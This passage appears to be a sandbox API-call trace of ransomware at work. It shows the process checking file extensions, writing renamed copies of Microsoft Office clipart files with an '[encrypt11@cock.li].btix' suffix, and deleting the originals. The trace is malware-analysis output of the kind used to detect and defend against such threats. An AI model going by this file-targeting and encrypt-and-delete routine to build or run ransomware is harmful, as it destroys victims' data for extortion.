Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0056.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0056.030] lstrlenW (lpString=".doc") returned 4 [0056.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.030] lstrlenW (lpString=".docx") returned 5 [0056.030] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.030] lstrlenW (lpString=".pdf") returned 4 [0056.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.030] lstrlenW (lpString=".xls") returned 4 [0056.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.030] lstrlenW (lpString=".xlsx") returned 5 [0056.030] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.030] lstrlenW (lpString=".ppt") returned 4 [0056.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0056.030] lstrlenW (lpString=".zip") returned 4 [0056.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.030] lstrlenW (lpString=".rar") returned 4 [0056.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.030] lstrlenW (lpString=".bz2") returned 4 [0056.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.030] lstrlenW (lpString=".7z") returned 3 [0056.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0056.030] lstrlenW (lpString=".dbf") returned 4 [0056.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0056.030] lstrlenW (lpString=".1cd") returned 4 [0056.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0056.031] lstrlenW (lpString=".jpg") returned 4 [0056.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.031] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0056.031] lstrlenW (lpString="BD10890_.GIF") returned 12 [0056.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0056.036] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=13515) returned 1 [0056.036] CloseHandle (hObject=0x34c) returned 1 [0056.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 0x220 [0056.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0056.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0056.037] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.037] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0056.038] GetLastError () returned 0x0 [0056.038] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x34cb, lpOverlapped=0x0) returned 1 [0056.242] WriteFile (in: hFile=0x378, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x34d0, lpOverlapped=0x0) returned 1 [0056.598] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.598] WriteFile (in: hFile=0x378, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0056.598] SetEndOfFile (hFile=0x378) returned 1 [0056.598] CloseHandle (hObject=0x378) returned 1 [0056.599] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.599] SetEndOfFile (hFile=0x34c) returned 1 [0056.600] CloseHandle (hObject=0x34c) returned 1 [0056.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0056.601] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0056.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0056.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0056.601] lstrlenW (lpString=".doc") returned 4 [0056.601] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.601] lstrlenW (lpString=".docx") returned 5 [0056.601] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.601] lstrlenW (lpString=".pdf") returned 4 [0056.601] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.601] lstrlenW (lpString=".xls") returned 4 [0056.601] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.601] lstrlenW (lpString=".xlsx") returned 5 [0056.601] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.601] lstrlenW (lpString=".ppt") returned 4 [0056.601] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0056.601] lstrlenW (lpString=".zip") returned 4 [0056.601] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.601] lstrlenW (lpString=".rar") returned 4 [0056.601] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.601] lstrlenW (lpString=".bz2") returned 4 [0056.601] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.601] lstrlenW (lpString=".7z") returned 3 [0056.601] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0056.601] lstrlenW (lpString=".dbf") returned 4 [0056.601] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0056.601] lstrlenW (lpString=".1cd") returned 4 [0056.602] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0056.602] lstrlenW (lpString=".jpg") returned 4 [0056.602] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0056.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0056.602] lstrlenW (lpString=".doc") returned 4 [0056.602] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.602] lstrlenW (lpString=".docx") returned 5 [0056.602] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.602] lstrlenW (lpString=".pdf") returned 4 [0056.602] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.602] lstrlenW (lpString=".xls") returned 4 [0056.602] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.602] lstrlenW (lpString=".xlsx") returned 5 [0056.602] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.602] lstrlenW (lpString=".ppt") returned 4 [0056.602] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0056.602] lstrlenW (lpString=".zip") returned 4 [0056.602] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.602] lstrlenW (lpString=".rar") returned 4 [0056.602] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.602] lstrlenW (lpString=".bz2") returned 4 [0056.602] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.602] lstrlenW (lpString=".7z") returned 3 [0056.602] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0056.602] lstrlenW (lpString=".dbf") returned 4 [0056.602] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0056.602] lstrlenW (lpString=".1cd") returned 4 [0056.602] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0056.602] lstrlenW (lpString=".jpg") returned 4 [0056.603] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.603] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0056.603] lstrlenW (lpString="BD19827_.WMF") returned 12 [0056.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0056.603] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=9710) returned 1 [0056.603] CloseHandle (hObject=0x34c) returned 1 [0056.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x220 [0056.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0056.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0056.603] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.603] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0056.604] GetLastError () returned 0x0 [0056.604] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x25ee, lpOverlapped=0x0) returned 1 [0056.664] WriteFile (in: hFile=0x378, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x25f0, lpOverlapped=0x0) returned 1 [0056.665] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.665] WriteFile (in: hFile=0x378, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0056.666] SetEndOfFile (hFile=0x378) returned 1 [0056.666] CloseHandle (hObject=0x378) returned 1 [0056.666] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.666] SetEndOfFile (hFile=0x34c) returned 1 [0056.667] CloseHandle (hObject=0x34c) returned 1 [0056.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0056.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0056.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0056.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0056.675] lstrlenW (lpString=".doc") returned 4 [0056.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.676] lstrlenW (lpString=".docx") returned 5 [0056.676] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.676] lstrlenW (lpString=".pdf") returned 4 [0056.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.676] lstrlenW (lpString=".xls") returned 4 [0056.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.676] lstrlenW (lpString=".xlsx") returned 5 [0056.676] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.676] lstrlenW (lpString=".ppt") returned 4 [0056.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0056.676] lstrlenW (lpString=".zip") returned 4 [0056.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.676] lstrlenW (lpString=".rar") returned 4 [0056.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.676] lstrlenW (lpString=".bz2") returned 4 [0056.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.676] lstrlenW (lpString=".7z") returned 3 [0056.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0056.676] lstrlenW (lpString=".dbf") returned 4 [0056.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0056.676] lstrlenW (lpString=".1cd") returned 4 [0056.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0056.676] lstrlenW (lpString=".jpg") returned 4 [0056.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0056.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0056.676] lstrlenW (lpString=".doc") returned 4 [0056.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.677] lstrlenW (lpString=".docx") returned 5 [0056.677] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.677] lstrlenW (lpString=".pdf") returned 4 [0056.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.677] lstrlenW (lpString=".xls") returned 4 [0056.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.677] lstrlenW (lpString=".xlsx") returned 5 [0056.677] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.677] lstrlenW (lpString=".ppt") returned 4 [0056.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0056.677] lstrlenW (lpString=".zip") returned 4 [0056.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.677] lstrlenW (lpString=".rar") returned 4 [0056.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.677] lstrlenW (lpString=".bz2") returned 4 [0056.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.677] lstrlenW (lpString=".7z") returned 3 [0056.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0056.677] lstrlenW (lpString=".dbf") returned 4 [0056.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0056.677] lstrlenW (lpString=".1cd") returned 4 [0056.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0056.677] lstrlenW (lpString=".jpg") returned 4 [0056.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.678] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0056.678] lstrlenW (lpString="BD19986_.WMF") returned 12 [0056.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0056.678] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=14486) returned 1 [0056.679] CloseHandle (hObject=0x37c) returned 1 [0056.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x220 [0056.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0056.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0056.680] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.680] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0056.681] GetLastError () returned 0x0 [0056.681] ReadFile (in: hFile=0x348, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x3896, lpOverlapped=0x0) returned 1 [0056.822] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x38a0, lpOverlapped=0x0) returned 1 [0056.823] ReadFile (in: hFile=0x348, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.823] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0056.823] SetEndOfFile (hFile=0x390) returned 1 [0056.823] CloseHandle (hObject=0x390) returned 1 [0056.826] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.826] SetEndOfFile (hFile=0x348) returned 1 [0056.827] CloseHandle (hObject=0x348) returned 1 [0056.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0056.827] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0056.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0056.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0056.828] lstrlenW (lpString=".doc") returned 4 [0056.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.828] lstrlenW (lpString=".docx") returned 5 [0056.828] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.828] lstrlenW (lpString=".pdf") returned 4 [0056.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.828] lstrlenW (lpString=".xls") returned 4 [0056.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.828] lstrlenW (lpString=".xlsx") returned 5 [0056.828] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.828] lstrlenW (lpString=".ppt") returned 4 [0056.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0056.828] lstrlenW (lpString=".zip") returned 4 [0056.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.828] lstrlenW (lpString=".rar") returned 4 [0056.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.828] lstrlenW (lpString=".bz2") returned 4 [0056.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.828] lstrlenW (lpString=".7z") returned 3 [0056.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0056.828] lstrlenW (lpString=".dbf") returned 4 [0056.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0056.828] lstrlenW (lpString=".1cd") returned 4 [0056.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0056.829] lstrlenW (lpString=".jpg") returned 4 [0056.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0056.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0056.829] lstrlenW (lpString=".doc") returned 4 [0056.829] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.829] lstrlenW (lpString=".docx") returned 5 [0056.829] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.829] lstrlenW (lpString=".pdf") returned 4 [0056.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 